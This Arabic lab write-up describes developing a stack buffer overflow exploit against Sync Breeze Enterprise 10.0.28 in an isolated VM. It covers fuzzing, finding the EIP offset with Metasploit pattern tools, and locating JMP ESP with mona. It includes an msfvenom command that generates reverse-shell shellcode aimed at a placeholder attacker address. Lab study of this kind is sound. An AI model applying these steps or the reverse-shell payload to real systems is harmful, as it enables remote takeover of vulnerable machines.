
دراسة ثغرة تجاوز سعة المخزن المؤقت الكلاسيكية القائمة على المكدس في بيئة مختبرية خاضعة للتحكم لأغراض تعليمية.
دراسة ثغرة تجاوز سعة المخزن المؤقت الكلاسيكية القائمة على المكدس في بيئة مختبرية خاضعة للتحكم لأغراض تعليمية.
كان الهدف من هذا المشروع هو فهم أفضل لما يلي:
تألفت الخطوة الأولى من تثبيت
Sync Breeze Enterprise 10.0.28
داخل جهاز افتراضي بنظام Windows 10 مُهيأ لأغراض البحث
عن الثغرات وتطوير الاستغلال.
تم عزل البيئة لضمان اختبار آمن وخاضع للتحكم.
تم تكوين الجهازين الافتراضيين (الهدف والمهاجم) باستخدام وضع محول الشبكة الجسري (Bridged Network Adapter) للسماح بالاتصال الشبكي المباشر بين النظامين أثناء عملية الاستغلال.


تم تكوين أدوات التصحيح لتحليل سلوك التطبيق أثناء التشغيل ومراقبة ظروف الانهيار.
تم إرسال تسلسلات كبيرة من البايتات إلى التطبيق من أجل تحديد الحجم التقريبي للمخزن المؤقت المطلوب لتحفيز الانهيار.
بعد تحديد عتبة الانهيار، تم اختبار التطبيق مرة أخرى باستخدام حجم الحمولة المكتشف لتأكيد الثغرة.
الإزاحة الدقيقة المطلوبة لاستبدال مؤشر التعليمات (EIP) تم تحديدها.
أنشئ نمطًا فريدًا:
/usr/bin/msf-pattern_create -l <SIZE>
حدد الإزاحة:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
حيث:
<SIZE> = طول الحمولة المكتشف أثناء التشويش<EIP_VALUE> = القيمة الرباعية البايت التي شوهدت تستبدل EIP
تم تحديد الأحرف غير الصالحة لمعرفة البايتات التي لا يمكن معالجتها بأمان بواسطة التطبيق.
تم تحديد تعليمة JMP ESP مناسبة في وحدة بدون ASLR
مفعّلة.
تعداد الوحدات المحملة:
!mona modules
البحث عن JMP ESP:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
أُعطيت الأفضلية لملفات DLL الخاصة بالتطبيق نظرًا لوجود عناوين ذاكرة ثابتة.

تم التحقق من مسار تنفيذ الحمولة لضمان إعادة التوجيه الصحيحة إلى المخزن المؤقت المُتحكم فيه.
تم توليد الشيلكود مع استبعاد الأحرف غير الصالحة المحددة سابقًا.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
تمت إضافة منزلق NOP (\x90) قبل الشيلكود لتحسين موثوقية
تنفيذ الحمولة.

تم تجميع الاستغلال النهائي واختباره بنجاح داخل بيئة المختبر المعزولة.
تم تطوير هذا المشروع بدقة لأغراض تعليمية وبحثية داخل بيئة مختبرية معزولة.